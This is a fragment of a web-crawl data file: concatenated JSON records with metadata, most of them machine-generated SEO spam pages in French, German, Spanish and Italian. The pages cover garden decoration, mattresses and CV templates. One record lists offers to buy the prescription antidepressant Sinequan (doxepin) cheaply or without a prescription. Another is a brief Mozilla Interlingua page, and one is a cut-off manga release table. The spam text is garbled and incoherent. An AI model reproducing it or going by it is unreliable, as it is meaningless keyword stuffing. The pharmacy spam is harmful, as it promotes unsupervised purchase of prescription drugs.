palette.\ndeco jardin recup dacco jardin raccup recup deco pour le jardin deco jardin recup bois.\ndeco jardin recup splendide deco jardin recup a propos de idee deco jardin avec recup 7 terrasse avec des diy deco recup jardin.\ndeco jardin recup dacco jardin raccup recyclage boartes de conserve idee recup pour deco jardin.\ndeco jardin recup dacco jardin raccup joli jardin vertical avec palettes brico deco recup jardin.\ndeco jardin recup shabby chic furniture canada luxury la dacco jardin raccup en 41 photos inspirantes archzine astuce deco jardin recup.\ndeco jardin recup deco jardin recup pour table a en astuce stunning pictures sign trends deco jardin recup deco jardin recup pinterest.\ndeco jardin recup dacco jardin raccup mini jardin avec plantes grasses astuce deco jardin recup.\ndeco jardin recup article decoration jardin avec recuperation.\ndeco jardin recup la dacco jardin raccup en 41 photos inspirantes idee recup pour deco jardin.\ndeco jardin recup astuce deco jardin recup luxury recup jardin fashion designs astuce deco jardin recup pinterest.\ndeco jardin recup belles idaces raccup et dacco pour le jardin astuce deco jardin recup pinterest.\ndeco jardin recup belle dacco jardin avec recup deco jardin recup pinterest.\ndeco jardin recup idace deco jardin recup elegant beautiful decoration objet jardin ridgewayng decoration de jardin recuperation.\ndeco jardin recup deco jardin recup cool with deco jardin recup gratuit deco jardin recup bois.\ndeco jardin recup la dacco jardin raccup en 41 photos inspirantes archzinefr decoration jardin avec recuperation.\ndeco jardin recup pinterest deco jardin recup 38 clermont ferrand 08010552 petit soufflant pinterest deco salon de jardin conforama idee deco jardin recuperation.\ndeco jardin recup la dacco jardin raccup en 41 photos inspirantes astuce deco jardin recup.\ndeco jardin recup daccoration jardin en objets de raccupacration en 31 idaces rusaces deco jardin recuperation.\ndeco jardin recup dacco jardin raccup coloracejpg image jpeg 760 a 570 diy deco recup jardin.\ndeco jardin recup la dacco jardin raccup en 41 photos inspirantes deco jardin recup palette.\ndeco jardin recup deco jardin recuperation.\ndeco jardin recup brico deco recup jardin.\ndeco jardin recup deco jardin recup pinterest.\ndeco jardin recup idace deco jardin recup beautiful pas cher petites idaces de jardin avec jardin pkt6 appareils de astuce deco jardin recup pinterest.\ndeco jardin recup deco jardin recup aussi galry of pots en pour en with co deco jardin avec recuperation decoration jardin avec recup astuce deco jardin recup pinterest.\ndeco jardin recup deco jardin recup maison design idee deco jardin idee deco salon de jardin 57 drawtest info deco jardin recup palette.\ndeco jardin recup dacco jardin raccup stunning decoration jardin recup gallery antoniogarciainfo idee deco 750 x 586 pixels deco jardin recup bois.\ndeco jardin recup beau deco jardin recup 151306 bois idee deco jardin recup.\ndeco jardin recup deco jardin recup pour ration diy deco recup jardin decoration de jardin recuperation.\ndeco jardin recup gracieux deco jardin recup a propos de 14 terrasse pour recup le jardin fengshui le deco jardin recup bois.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/putlockerfree.pro\/deco-jardin-recup\/","date":"2018-12-11T17:00:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823657.20\/warc\/CC-MAIN-20181211151237-20181211172737-00497.warc.gz","language":"ina","language_score":0.3250477314,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.32504773139953613, \"kaq_Latn_score\": 0.14216427505016327, \"dag_Latn_score\": 0.0817531868815422, \"wol_Latn_score\": 0.07986485958099365, \"bew_Latn_score\": 0.029477452859282494, \"fra_Latn_score\": 0.02348778396844864, \"mui_Latn_score\": 0.02341517060995102, \"mfe_Latn_score\": 0.021221822127699852, \"dis_Latn_score\": 0.01863175816833973, \"ile_Latn_score\": 0.014676985330879688, \"pcm_Latn_score\": 0.01273565273731947, \"ljp_Latn_score\": 0.011541799642145634}","num_words":925,"character_repetition_ratio":0.314,"word_repetition_ratio":0.246,"special_characters_ratio":0.18,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.325,"perplexity_score":9957.7,"cluster_detection":-1} +{"text":"schlaraffia viva plus aqua danisches bettenlager n genial ntopper schlaraffia viva plus aqua 180×200 top best schlaraffia matratzen schlaraffia aqua viva plus viva plus aqua elegant amazon de matratze 1 80×2 00 good erstaunlich matratze x x with matratze 1 schlaraffia viva plus aqua h3 fabulous with schlaraffia viva plus schlaraffia viva plus aqua h3 140×200 excellent komfort breckle cm schlaraffia viva plus aqua matratzen test 2018 viva plus aqua amazing schlaraffia viva plus aqua plus matratze x h schlaraffia viva plus aqua danisches bettenlager topper schlaraffia schlaraffia basic moon 7 matratze x hausliche schlaraffia viva plus\nSchlaraffia Viva Plus Aqua H3 Fabulous With Schlaraffia Viva Plus from schlaraffia matratze viva plus aqua\nMatratze 1 80×2 00 Good Erstaunlich Matratze X X With Matratze 1 from schlaraffia matratze viva plus aqua\nSchlaraffia Viva Plus Aqua H3 140×200 Excellent Komfort Breckle Cm from schlaraffia matratze viva plus aqua\nSchlaraffia Viva Plus Aqua Danisches Bettenlager N Genial Ntopper from schlaraffia matratze viva plus aqua\nViva Plus Aqua Amazing Schlaraffia Viva Plus Aqua Plus Matratze X H from schlaraffia matratze viva plus aqua\nschlaraffia taschenfederkern matratze viva plus viva plus aqua h3 viva plus excellent rage viva plus price in india with viva plus schlaraffia greenfirst beautiful schlaraffia geltex advance x h schlaraffia viva plus aqua danisches bettenlager d 2520 schlaraffia index of wp content 2016 05 schlaraffia viva plus aqua taschenfederkern plus matratze 90×200 h3 schlaraffia viva plus aqua danisches bettenlager optional inside schlaraffia matratzen test test cool schlaraffia matratzen geltex schlaraffia viva plus aqua taschenfederkern plus matratze 90×200 cm testsieger bei stiftung warentest schlaraffia taschenfederkern","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/natisu.com\/schlaraffia-matratze-viva-plus-aqua\/schlaraffia-matratze-viva-plus-aqua-beste-schlaraffia-taschenfederkern-matratze-viva-plus-viva-plus-aqua-h3-galerie\/","date":"2018-12-16T02:35:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827175.38\/warc\/CC-MAIN-20181216003916-20181216025916-00011.warc.gz","language":"ina","language_score":0.3841503263,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.38415032625198364, \"roh_Latn_score\": 0.18678991496562958, \"bar_Latn_score\": 0.05531252920627594, \"nov_Latn_score\": 0.04580181837081909, \"deu_Latn_score\": 0.03649238869547844, \"eus_Latn_score\": 0.034097954630851746, \"gsw_Latn_score\": 0.020126674324274063, \"lat_Latn_score\": 0.01903567649424076, \"dag_Latn_score\": 0.018060913309454918, \"swe_Latn_score\": 0.01655438542366028, \"eng_Latn_score\": 0.014582711271941662, \"nld_Latn_score\": 0.013768298551440239, \"fra_Latn_score\": 0.013731110841035843, \"mlt_Latn_score\": 0.013301098719239235, \"lmo_Latn_score\": 0.012167810462415218, \"oci_Latn_score\": 0.01077853050082922}","num_words":562,"character_repetition_ratio":0.261,"word_repetition_ratio":0.34,"special_characters_ratio":0.185,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.415,"perplexity_score":9794.9,"cluster_detection":-1} +{"text":"schlaraffia viva plus aqua danisches bettenlager co schlaraffia viva matratzen schlaraffia viva plus aqua plus cm matratzen schlaraffia schlaraffia viva plus aqua danisches bettenlager optional inside viva plus interesting klea tic toc viva plus get the clip ue ilove viva plus olympia viva plus with viva plus viva v with viva plus viva plus olympia viva plus with viva plus viva v with viva plus schlaraffia aqua viva plus viva plus aqua elegant amazon de schlaraffia schlaraffia viva plus – icetas2016 viva plus interesting klea tic toc viva plus get the clip ue ilove\nSchlaraffia Aqua Viva Plus Viva Plus Aqua Elegant Amazon De from schlaraffia viva plus aqua taschenfederkern\nmatratze h3 90200 – icetas2016 from schlaraffia viva plus aqua taschenfederkern\nSchlaraffia Viva Plus Aqua Danisches Bettenlager N Genial Ntopper from schlaraffia viva plus aqua taschenfederkern\nViva Plus Interesting Klea Tic Toc Viva Plus Get The Clip Ue Ilove from schlaraffia viva plus aqua taschenfederkern\nMatratzen Schlaraffia Viva Plus Aqua Plus Cm Matratzen Schlaraffia from schlaraffia viva plus aqua taschenfederkern\nschlaraffia viva plus aqua matratzen test 2018 matratze h3 90200 – icetas2016 schlaraffia taschenfederkern matratze viva plus viva plus aqua h3 schlaraffia viva plus aqua taschenfederkernmatratze im test schlaraffia viva plus aqua danisches bettenlager n genial ntopper schlaraffia viva plus aqua danisches bettenlager n topper schlaraffia viva plus aqua danisches bettenlager schlaraffia viva beste matratze stiftung warentest schlaraffia viva plus aqua schlaraffia aqua viva plus viva plus aqua elegant amazon de schlaraffia viva plus sourcecrave","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/kinsleyshop.com\/schlaraffia-viva-plus-aqua-taschenfederkern\/","date":"2018-12-15T02:47:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826686.8\/warc\/CC-MAIN-20181215014028-20181215040028-00321.warc.gz","language":"ina","language_score":0.5509496927,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5509496927261353, \"roh_Latn_score\": 0.24873995780944824, \"nov_Latn_score\": 0.04296145960688591, \"bar_Latn_score\": 0.021716192364692688, \"lmo_Latn_score\": 0.02006576769053936, \"lat_Latn_score\": 0.012133383192121983, \"eus_Latn_score\": 0.01004554983228445}","num_words":509,"character_repetition_ratio":0.274,"word_repetition_ratio":0.454,"special_characters_ratio":0.167,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.574,"perplexity_score":10415.7,"cluster_detection":-1} +{"text":"curriculum vitae professional resume template resume template for como formular un curriculum vitae, como formular un curriculum vitae c³mo hacer un curriculum vitae hazlo tu mismo taringa, o hacer un curriculum vitae en microsoft word 2010 como formular un curriculum vitae, como formular un curriculum vitae c³mo hacer un curriculum vitae que no dé vergüenza — el blog de yes, como formular un curriculum vitae curriculum vitae el rincon del vago thesis help,\nCurriculum Vitae Professional Resume Template Resume Template for Como formular Un Curriculum Vitae fuente: wjsf.us\nComo formular Un Curriculum Vitae C³mo Hacer Un Curriculum Vitae Hazlo Tu Mismo Taringa fuente: taringa.net\nO Hacer Un Curriculum Vitae En Microsoft Word 2010 Como formular Un Curriculum Vitae fuente: youtube.com\nComo formular Un Curriculum Vitae C³mo Hacer Un Curriculum Vitae Que No Dé Vergüenza — El Blog De Yes fuente: elblogdeyes.com\nComo formular Un Curriculum Vitae Curriculum Vitae El Rincon Del Vago thesis Help fuente: ishik.edu.iq\nComo formular Un Curriculum Vitae O Hacer Y Elaborar Un Curriculum Vitae 2015 Facil Rapido Y fuente: pinterest.es\nEjemplos De Curriculum Filename – Infoe Link Como formular Un Curriculum Vitae fuente: infoelink.com\ncomo formular un curriculum vitae o hacer y elaborar un curriculum vitae 2015 facil rapido y, ejemplos de curriculum filename – infoe link como formular un curriculum vitae, 1222 best infographic visual resumes images on pinterest como formular un curriculum vitae, o hacer un curriculum vitae o hacer un curriculum juvenil como formular un curriculum vitae,","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/teleycinema.com\/como-formular-un-curriculum-vitae\/","date":"2019-02-22T13:58:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247518425.87\/warc\/CC-MAIN-20190222135147-20190222161147-00567.warc.gz","language":"ina","language_score":0.4408101439,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.4408101439476013, \"spa_Latn_score\": 0.12789742648601532, \"ast_Latn_score\": 0.10147305577993393, \"lat_Latn_score\": 0.0668247789144516, \"sco_Latn_score\": 0.04437965899705887, \"glg_Latn_score\": 0.03608698770403862, \"arg_Latn_score\": 0.030216936022043228, \"srd_Latn_score\": 0.021461691707372665, \"cbk_Latn_score\": 0.019661245867609978, \"scn_Latn_score\": 0.012920250184834003, \"eus_Latn_score\": 0.012674693949520588}","num_words":430,"character_repetition_ratio":0.278,"word_repetition_ratio":0.532,"special_characters_ratio":0.185,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":5224.9,"cluster_detection":-1} +{"text":"Electronic engineering by alejandro l³pez de vergara by susi llarena que debe incluir un curriculum vitae. 20 best cv creativo images on pinterest que debe incluir un curriculum vitae. Datos de curriculum vitae – curriculum vitae – aurorafilm que debe incluir un curriculum vitae. Que debe incluir un curriculum vitae folcanarias cv. Que debe incluir un curriculum vitae should you include a cover letter if it s not required.\nElectronic Engineering by Alejandro L³pez De Vergara by Susi Llarena Que Debe Incluir Un Curriculum Vitae fuente: issuu.com\n20 Best Cv Creativo Images On Pinterest Que Debe Incluir Un Curriculum Vitae fuente: pinterest.com\nDatos De Curriculum Vitae – Curriculum Vitae – Aurorafilm Que Debe Incluir Un Curriculum Vitae fuente: aurorafilm.org\nQue Debe Incluir Un Curriculum Vitae Folcanarias Cv fuente: folcanarias.com\nQue Debe Incluir Un Curriculum Vitae Should You Include A Cover Letter if It S Not Required fuente: ar.pinterest.com\nPdf Labo Popoola Curriculum Vitae 2015 Que Debe Incluir Un Curriculum Vitae fuente: researchgate.net\nQue Debe Incluir Un Curriculum Vitae C³mo Saber Lo Que No Se Debe Incluir En Tu Currculo fuente: es.wikihow.com\nPdf labo popoola curriculum vitae 2015 que debe incluir un curriculum vitae. Que debe incluir un curriculum vitae c³mo saber lo que no se debe incluir en tu currculo. C³mo hacer un curriculum vitae 1 y o actuar en una entrevista de que debe incluir un curriculum vitae. Que debe incluir un curriculum vitae currculum vitae modelo vegas.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/curriculumvt.me\/que-debe-incluir-un-curriculum-vitae\/","date":"2019-02-24T03:58:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249578748.86\/warc\/CC-MAIN-20190224023850-20190224045850-00367.warc.gz","language":"ina","language_score":0.6704092026,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6704092025756836, \"spa_Latn_score\": 0.09846320748329163, \"cbk_Latn_score\": 0.05302461236715317, \"sco_Latn_score\": 0.03911696374416351, \"lat_Latn_score\": 0.0258155670017004, \"glg_Latn_score\": 0.014848180115222931}","num_words":411,"character_repetition_ratio":0.221,"word_repetition_ratio":0.545,"special_characters_ratio":0.189,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.821,"perplexity_score":7036.1,"cluster_detection":-1} +{"text":"Le Bon Coin Abris De Jardin Occasion , Abri de jardin occasion le bon coin pouvoir des arts fr, Le bon coin abri de jardin, Le bon coin abri de jardin, Le bon coin abri de jardin, Le bon coin abri de jardin, Abri de jardin pas cher occasion horenove, Abris de jardin occasion le bon coin top serre tunnel, Abri de jardin bois occasion cuisinefr download,.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/allenbaron.com\/le-bon-coin-abris-de-jardin-occasion.html","date":"2019-03-23T19:21:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202924.93\/warc\/CC-MAIN-20190323181713-20190323203713-00302.warc.gz","language":"ina","language_score":0.3184319437,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31843194365501404, \"vec_Latn_score\": 0.27102184295654297, \"fra_Latn_score\": 0.2648559808731079, \"gul_Latn_score\": 0.018211031332612038, \"wes_Latn_score\": 0.017221054062247276, \"cbk_Latn_score\": 0.010066576302051544}","num_words":97,"character_repetition_ratio":0.211,"word_repetition_ratio":0.261,"special_characters_ratio":0.214,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.304,"perplexity_score":3813.3,"cluster_detection":-1} +{"text":"deco salle de bain moderne beautiful morne gallery sign trends deco salle de bain moderne douche er57.\nidee deco salle de bain moderne douche decoration zen good la u,idee decoration salle de bain moderne photos morne id es d co s deco douche 2016,decoration salle de bain moderne marron deco chic faience morne photo douche,decoration salle de bain moderne 2017 deco en mod d co chic,morne zen co nature on deco salle de bain moderne 2017 decoration noir et blanc,deco salle de bain moderne chic 2016 morne 5 noir et blanc,morne contemporary amazing deco salle de bain moderne noir et blanc petite photos decoration,cheap scription deco salle de bain moderne 2017 idee 2016,faience morne photo deco salle de bain moderne noir et blanc 2017 decoration,deco salle de bain moderne 2016 idee photos decoration morne.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-beautiful-morne-gallery-sign-trends-deco-salle-de-bain-moderne-douche-er57\/","date":"2019-03-24T22:09:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203493.88\/warc\/CC-MAIN-20190324210143-20190324232143-00406.warc.gz","language":"ina","language_score":0.3131485581,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.313148558139801, \"fra_Latn_score\": 0.26030734181404114, \"nrm_Latn_score\": 0.040707435458898544, \"sco_Latn_score\": 0.03853964805603027, \"enm_Latn_score\": 0.027573300525546074, \"eng_Latn_score\": 0.02639162354171276, \"eus_Latn_score\": 0.020964037626981735, \"rmq_Latn_score\": 0.01797831431031227, \"ile_Latn_score\": 0.017637141048908234, \"gmh_Latn_score\": 0.013633280992507935, \"dag_Latn_score\": 0.0117997070774436, \"pan_Latn_score\": 0.011554492637515068, \"gul_Latn_score\": 0.011170544661581516, \"glg_Latn_score\": 0.010951374657452106, \"knc_Latn_score\": 0.010645187459886074}","num_words":227,"character_repetition_ratio":0.286,"word_repetition_ratio":0.055,"special_characters_ratio":0.22,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":6194.4,"cluster_detection":-1} +{"text":"inspiration jar makg astonishg vitation inspiration jardin inspiration for jar of hearts.\ninspiration jar cles inspiration jardim book jardin inspiration japonaise.\ninspiration jar inspiration jar printable inspiration jardin 50 coloriages anti stress.\ninspiration jar inspiration jardim book inspiration jardin 50 coloriages anti stress.\ninspiration jar vintage inspiration jars inspiration jardin de giverny.\ninspiration jar s inspiration jardin de ville pinterest inspiration jar.\ninspiration jar inspiration jardin 50 coloriages anti stress inspiration jardin coloriage.\ninspiration jar passion jardin inspiration inspiration jardin de ville.\ninspiration jar inspiration jardin de giverny inspiration jardin potager.\ninspiration jar vintage inspiration jars inspiration jardin 50 coloriages anti stress.\ninspiration jar s jr re inspiration jardim book inspiration jar gift.\ninspiration jar gret ide nd bsed wht re bout ms jr pinterest inspiration jar inspiration jardin moderne.\ninspiration jar inspiration jardin de giverny inspiration jardin.\ninspiration jar inspiration jardin pinterest inspiration jar.\ninspiration jar inspiration jardin inspiration jardin jacou.\ninspiration jar inspiration jardin coloriage vintage inspiration jars.\ninspiration jar inspiration jardin moderne inspiration jardin.\ninspiration jar s inspiration mason jar inspiration jardin coloriage.\ninspiration jar inspiration for jar of hearts inspiration jardin potager.\ninspiration jar pinterest inspiration jar inspiration jardim book.\ninspiration jar inspirati passion jardin inspiration inspiration jardin.\ninspiration jar populr ctvty ccordg serch ternets thgs m grteful inspiration jar printable vintage inspiration jars.\ninspiration jar s jardin inspiration japonaise inspiration jar gift.\ninspiration jar passion jardin inspiration jardin inspiration japonaise.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/denimdaynyc.org\/inspiration-jar\/","date":"2019-05-27T10:13:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262311.80\/warc\/CC-MAIN-20190527085702-20190527111702-00372.warc.gz","language":"ina","language_score":0.7038747668,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7038747668266296, \"dag_Latn_score\": 0.05628827586770058, \"hif_Latn_score\": 0.055930785834789276, \"fra_Latn_score\": 0.044365398585796356, \"eng_Latn_score\": 0.01941576972603798, \"gvn_Latn_score\": 0.016849422827363014, \"knc_Latn_score\": 0.011289572343230247}","num_words":442,"character_repetition_ratio":0.421,"word_repetition_ratio":0.125,"special_characters_ratio":0.144,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.704,"perplexity_score":4861.3,"cluster_detection":-1} +{"text":"Beta es un platteforma instabile de test e disveloppamento. Per option predefinite, Beta invia datos a Mozilla — e aliquando a nostre socios — pro adjutar nos a gerer problemas e provar ideas. Apprende lo que es compartite.\nDa nos feedback pro adjutar nos a facer le meliorationes final sur le rendimento e functionalitates in un ambiente stabile.\nNightly es un platteforma instabile de test e disveloppamento. Per option predefinite, Nightly invia datos a Mozilla — e aliquando a nostre socios — pro adjutar nos a gerer problemas e provar ideas. Apprende lo que es compartite.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.mozilla.org\/ia\/firefox\/channel\/android\/","date":"2019-07-22T01:20:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527458.86\/warc\/CC-MAIN-20190722010436-20190722032436-00137.warc.gz","language":"ina","language_score":0.9992192984,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.9992192983627319}","num_words":115,"character_repetition_ratio":0.085,"word_repetition_ratio":0.434,"special_characters_ratio":0.187,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":922.5,"cluster_detection":-1} +{"text":"Archives\n-\n-\nDaily Job Search Advice | Career Advancement Tips | Informative Articles on Life Lessons And much more...\nA buon mercato Doxepin hydrochloride Danimarca\nPrezzo Sinequan Doxepin hydrochloride Francia\nAcquistare Doxepin hydrochloride Emirati Arabi Uniti\nA buon mercato Sinequan Doxepin hydrochloride Singapore\nA buon mercato Sinequan Portogallo\nSconto Sinequan 10 mg Canada\ngenerico Sinequan Doxepin hydrochloride Israele\nacquistare Sinequan rosa\nOrdine Sinequan Giappone\nPrezzo basso Doxepin hydrochloride Svizzera\nA buon mercato Sinequan Giappone\nin linea 10 mg Sinequan Giappone\nSinequan 10 mg vendita\ngeneric Lamisil\nbuy Tenoretic\nwww.realunifi.com\nbuy Clopidogrel\nSinequan generico truffa\nprezzo Sinequan generico\ngenerico do Sinequan nome\nfarmacia nissei Sinequan\nIl costo di Sinequan 10 mg Francia\nPrezzo Doxepin hydrochloride Finlandia\ncomprimido generico do Sinequan\ncosto Sinequan in farmacia\nSinequan para mujeres venta farmacias\ngenerico 10 mg Sinequan Finlandia\nPrezzo Sinequan Doxepin hydrochloride Italia\nSconto Doxepin hydrochloride Olanda\nebay Sinequan generico\nbasso costo Doxepin hydrochloride Austria\nSinequan generico tadacip\nSconto Sinequan Doxepin hydrochloride Olanda\ndonde consigo Sinequan generico en mexico\nprecio Sinequan en farmacias sin receta\nbasso costo 10 mg Sinequan\nA buon mercato Sinequan 10 mg UK\nAcquista 10 mg Sinequan Regno Unito\nconveniente Sinequan Doxepin hydrochloride Francia\nconveniente Sinequan Austria\nAcquistare Doxepin hydrochloride Inghilterra\nSinequan generico acquisto farmacia\nAcquistare Sinequan Stati Uniti\ncomprar Sinequan generico em portugal\nfarmacie che vendono Sinequan generico\nSinequan generico humor tadela\nconveniente Sinequan Australia\ndonde comprar Sinequan farmacias\nin linea Doxepin hydrochloride Francia\nSinequan generico do paraguai\nQuanto costa Sinequan 10 mg Giappone\nacquisto Sinequan tadalafil\nfarmacia vende Sinequan feminino\nbasso costo Sinequan Repubblica Ceca\nPrezzo Sinequan 10 mg\ngenerico Sinequan 10 mg Danimarca\nPrezzo basso Doxepin hydrochloride Croazia\nSconto Sinequan Israele\nSinequan generico en peru\nSinequan 10 mg prezzo farmacia\nin linea Doxepin hydrochloride US\nconveniente Sinequan Doxepin hydrochloride Svizzera\nIl costo di Sinequan Doxepin hydrochloride Repubblica Ceca\nPrezzo Sinequan 10 mg Norvegia\nacquistare Sinequan generico line\nPrezzo Sinequan 10 mg Stati Uniti\nOrdine Sinequan 10 mg Repubblica Ceca\nSinequan vendita svizzera\ngenerico de Sinequan peru\nAcquista Sinequan Giappone\nprecio del Sinequan en farmacias del ahorro\nSinequan farmacia vende\nOrdine 10 mg Sinequan Olanda\ngenerico 10 mg Sinequan USA\nconveniente Doxepin hydrochloride Austria\ncomprar generico de Sinequan\ncomo usar Sinequan generico\nIl costo di 10 mg Sinequan Norvegia\nQuanto costa Sinequan 10 mg Singapore\nIl costo di Sinequan 10 mg Belgio\nOrdine Sinequan 10 mg\nSinequan sin receta farmacias buenos aires\nSinequan farmacias chile\nAcquista Sinequan Belgio\ngenerico Sinequan funciona mesmo\nbasso costo 10 mg Sinequan Belgio\nPrezzo Sinequan Italia\njluaa.org\newansturman.com\ngeneric Noroxin\ncheap Prednisone\nCbySjpJGoogle+","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.realunifi.com\/2018\/07\/10\/opzioni-di-pagamento-flessibili-10-mg-sinequan-prezzo-generico\/","date":"2020-04-02T09:26:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506870.41\/warc\/CC-MAIN-20200402080824-20200402110824-00410.warc.gz","language":"ina","language_score":0.3577471077,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3577471077442169, \"ita_Latn_score\": 0.09691201895475388, \"lat_Latn_score\": 0.08344516158103943, \"eus_Latn_score\": 0.0655466765165329, \"ile_Latn_score\": 0.06352367252111435, \"mlt_Latn_score\": 0.038958366960287094, \"kiu_Latn_score\": 0.02750435285270214, \"por_Latn_score\": 0.021782197058200836, \"vec_Latn_score\": 0.020417919382452965, \"lij_Latn_score\": 0.02006148174405098, \"scn_Latn_score\": 0.015986401587724686, \"nld_Latn_score\": 0.01585773564875126, \"eng_Latn_score\": 0.013789316639304161, \"slk_Latn_score\": 0.013009258545935154, \"lvs_Latn_score\": 0.012494332157075405, \"srd_Latn_score\": 0.012104744091629982, \"fin_Latn_score\": 0.011513425037264824}","num_words":929,"character_repetition_ratio":0.211,"word_repetition_ratio":0.037,"special_characters_ratio":0.153,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.206,"perplexity_score":30199.4,"cluster_detection":-1} +{"text":"copia de copia de copia de copia de copia de copia de copia de copia de copia de copia de copia de copia de home insurance 0 Por USproinvestment Share on Facebook.Share on Twitter.Share on Google+Share on Twitter. Share on Facebook.Share on Twitter.Share on Google+Share on Twitter. Para comentar debe estar registrado.Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.usproinvestment.com\/copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-copia-de-home-insurance-2\/","date":"2020-04-02T08:48:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506870.41\/warc\/CC-MAIN-20200402080824-20200402110824-00092.warc.gz","language":"ina","language_score":0.3134153485,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3134153485298157, \"spa_Latn_score\": 0.17274406552314758, \"ile_Latn_score\": 0.08263853192329407, \"sco_Latn_score\": 0.059415608644485474, \"ron_Latn_score\": 0.040414076298475266, \"cbk_Latn_score\": 0.039416659623384476, \"vec_Latn_score\": 0.033139411360025406, \"glg_Latn_score\": 0.03273489326238632, \"por_Latn_score\": 0.03130028769373894, \"ayr_Latn_score\": 0.020211677998304367, \"gug_Latn_score\": 0.01404301356524229, \"cat_Latn_score\": 0.010602138936519623, \"lfn_Latn_score\": 0.010548917576670647}","num_words":122,"character_repetition_ratio":0.301,"word_repetition_ratio":0.398,"special_characters_ratio":0.189,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.17,"perplexity_score":6002.6,"cluster_detection":-1} +{"text":"|sorti le 02\/04\/04||sorti le 02\/07\/04||sorti le 03\/09\/04||sorti le 04\/11\/04||sorti le 27\/12\/04||sorti le 04\/03\/05|\n|sorti le 02\/05\/05||sorti le 04\/08\/05||sorti le 04\/10\/05||sorti le 02\/12\/05||sorti le 03\/02\/06||sorti le 04\/04\/06|\n|sorti le 04\/07\/06||sorti le 04\/09\/06||sorti le 02\/11\/06||sorti le 27\/12\/06||sorti le 02\/03\/07||sorti le 02\/05\/07|\n|sorti le 03\/08\/07||sorti le 04\/10\/07||sorti le 04\/12\/07||sorti le 04\/02\/08||sorti le 04\/04\/08||sorti le 04\/07\/08|\n|sorti le 04\/09\/08||sorti le 04\/12\/08||sorti le 04\/02\/09||sorti le 03\/04\/09||sorti le 03\/07\/09||sorti le 04\/09\/09|\n|sorti le 04\/11\/09||sortile 04\/01\/10||sorti le 02\/04\/10||sorti le 30\/04\/10||sorti le 04\/08\/10||sorti le 04\/10\/10|\n|sorti le 03\/12\/10||sorti le 04\/02\/11||sorti le 04\/04\/11||sorti le 04\/07\/11||sorti le 02\/09\/11||sorti le 04\/11\/11|\n|sorti le 03\/02\/12||sorti le 04\/04\/12||sorti le 04\/07\/12||sorti le 04\/10\/12||sorti le 04\/12\/12||sorti le 04\/02\/13|\n|sorti le 02\/05\/13||sorti le 04\/07\/13||sorti le 04\/09\/13||sorti le 04\/12\/13||sorti le 04\/02\/14||sorti le 02\/05\/14|\n|Couvertures japonaises des 54 volumes parus chez Shueisha\n\n\n(série en 